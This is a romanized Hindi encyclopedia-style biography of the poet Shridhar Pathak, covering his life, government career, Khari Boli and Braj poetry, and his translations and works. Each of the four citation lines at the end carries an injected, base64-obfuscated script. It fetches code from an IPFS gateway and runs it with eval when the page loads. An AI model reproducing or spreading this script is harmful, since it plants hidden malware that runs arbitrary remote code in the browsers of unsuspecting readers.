श्रीधर पाठक

	shridhar pathak
	shridhar pathak\|200px\|center
poora nam	pandit shridhar pathak
janm	11 janavari, 1860
janm bhoomi	agara, uttar pradesh
mrityu	13 sitambar, 1928
abhibhavak	pita- pandit liladhar
karm bhoomi	bharat
mukhy rachanaean	'vanashtak', 'kashmir sushama', 'deharadoon', 'bharat git', 'gopika git', 'manovinod' adi.
bhasha	hindi, sanskrit, farasi, aangrezi
prasiddhi	kavi
nagarikata	bharatiy
bahari k diyaan	shridhar pathak ne apani kavitaoan mean b de manoyog se desh ka gaurav gan kiya hai, kintu desh bhakti ke sath unamean bharateandu kalin kaviyoan ke saman rajabhakti bhi milati hai.
inhean bhi dekhean	kavi soochi, sahityakar soochi

shridhar pathak (aangrezi: Shridhar Pathak, janm- 11 janavari, 1860, agara, uttar pradesh; mrityu- 13 sitambar, 1928^[1]) bharat ke prasiddh kaviyoan mean se ek the. ve svadesh prem, prakritik sauandary tatha samaj sudhar ki bhavanaoan ke kavi the. ve 'hindi sahity sammelan' ke paanchavean adhiveshan (1915, lakhanoo) ke sabhapati hue the. unhean 'kavibhooshan' ki upadhi se sammanit kiya gaya tha. hindi, sanskrit aur aangrezi par shridhar pathak ka saman adhikar tha.

janm

shridhar pathak ka janm 11 janavari, san 1860 mean jauandhari namak gaanv, agara, uttar pradesh mean hua tha. unake pita ka nam pandit liladhar tha. shridhar pathak 'sarasvat' brahmanoan ke us parivar mean se the, jo 8vian shati mean panjab ke sirasa se akar agara zile ke jauandhari namak gaanv mean bas gaya tha. ek susanskrit parivar mean utpann hone ke karan aranbh se hi inaki roochi vidyarjan mean thi.

shiksha

chhoti avastha mean hi shridhar pathak ne ghar par sanskrit aur farasi ka achchha jnan prapt kar liya. taduparaant aupacharik roop se vidyalayi shiksha lete hue ve hindi praveshika (1875) aur 'aangrezi midil' (1879) parikshaoan mean sarvapratham rahe. phir 'aiantreans pariksha' (1880-81) mean bhi pratham shreni mean uttirn hue. un dinoan bharat mean aiantreans tak ki shiksha paryapt uchch mani jati thi.

vyavasayik jivan

shiksha poorn karane ke bad shridhar pathak ki niyukti rajakiy seva mean ho gee. sarvapratham unhoanne janaganana ayukt ke roop mean kalakatta (vartaman kolakata) ke karyalay mean kary kiya. un dinoan british sarakar ke adhikaansh kendriy karyalay kalakatta mean hi the. janaganana ke sandarbh mean shridhar pathak ko bharat ke kee nagaroan mean jana p da. isi dauran unhoanne vibhinn parvatiy pradeshoan ki yatra ki tatha unhean prakriti-sauandary ka nikat se avalokan karane ka avasar mila. kalantar mean any anek karyalayoan mean bhi kary kiya, jinamean relave, pablik varks tatha sianchaee-vibhag adi ke nam ullekhaniy haian. dhire-dhire ye adhikshak ke pad par bhi pahuanche.

kavy lekhan

shridhar pathak ne brajabhasha aur kh di boli donoan mean achchhi kavita ki haian. unaki brajabhasha sahaj aur niradambar hai, paranparagat roodh shabdavali ka prayog unhoanne prayah nahian kiya hai. kh di boli mean kavy rachana kar shridhar pathak ne gady aur pady ki bhashaoan mean ekata sthapit karane ka etihasik kary kiya. kh di boli ke ve pratham samarth kavi bhi kahe ja sakate haian. yadyapi inaki kh di boli mean kahian-kahian brajabhasha ke kriyapad bhi prayukt hai, kintu yah kram mahatvapoorn nahian hai ki mahavir prasad dvivedi dvara 'sarasvati' ka sampadan sanbhalane se poorv hi unhoanne kh di boli mean kavita likhakar apani svachchhand vritti ka parichay diya. desh-prem, samaj sudhar tatha prakriti-chitran unaki kavita ke mukhy vishay the. unhone b de manoyog se desh ka gaurav gan kiya hai, kintu desh bhakti ke sath unamean bharateandu kalin kaviyoan ke saman rajabhakti bhi milati hai.^[2]

ek or shridhar pathak ne 'bharatotthan', 'bharat prashansa' adi deshabhakti poorn kavitayean likhi haian to doosari or 'jarj vandana' jaisi kavitaoan mean rajabhakti ka bhi pradarshan kiya hai. samaj sudhar ki or bhi inaki drishti barabar rahi hai. 'bal vidhava' mean unhoanne vidhavaoan ki vyatha ka karunik varnan kiya hai. parantu unako sarvadhik saphalata prakriti-chitran mean prapt huee hai. tatkalin kaviyoan mean shridhar pathak ne sabase adhik matra mean prakriti-chitran kiya hai. parinam ki drishti se hi nahian, gun ki drishti se bhi ve sarvashreshth haian. shridhar pathak ne roodhi ka parityag kar prakriti ka svatantr roop mean manohari chitran kiya hai. unhoanne aangrezi tatha sanskrit ki pustakoan ke padyanuvad bhi kiye.

rachanaean

shridhar pathak ek kushal anuvadak the. kalidas krit 'rritusanhar' aur goldasmith krit 'haramit', 'tejateand vilej' tatha 'p traivalar' ka ve bahut pahale hi 'ekaantavasi yog', oojad gram aur shraant pathik shirshak se kavyanuvad kar chuke the. unaki kuchh maulik kritiyoan nimn prakar haian^[2]-

'vanashtak'
'kashmir sushama' (1904)
'deharadoon' (1915)
'bharat git' (1928)
'gopika git'
'manovinod'
'jagat sachchaee-sar'

mrityu

shridhar pathak ka nidhan 13 sitambar, 1928 mean hua.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ shridhar pathak (hindi) kavita kosh. abhigaman tithi: 06 janavari, 2016.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ ^2.0 ^2.1 shridhar pathak (hindi) rajabhasha hindi. abhigaman tithi: 06 janavari, 2016.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[1] shridhar pathak (hindi) kavita kosh. abhigaman tithi: 06 janavari, 2016.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[aa-2] 2.0 ^2.1 shridhar pathak (hindi) rajabhasha hindi. abhigaman tithi: 06 janavari, 2016.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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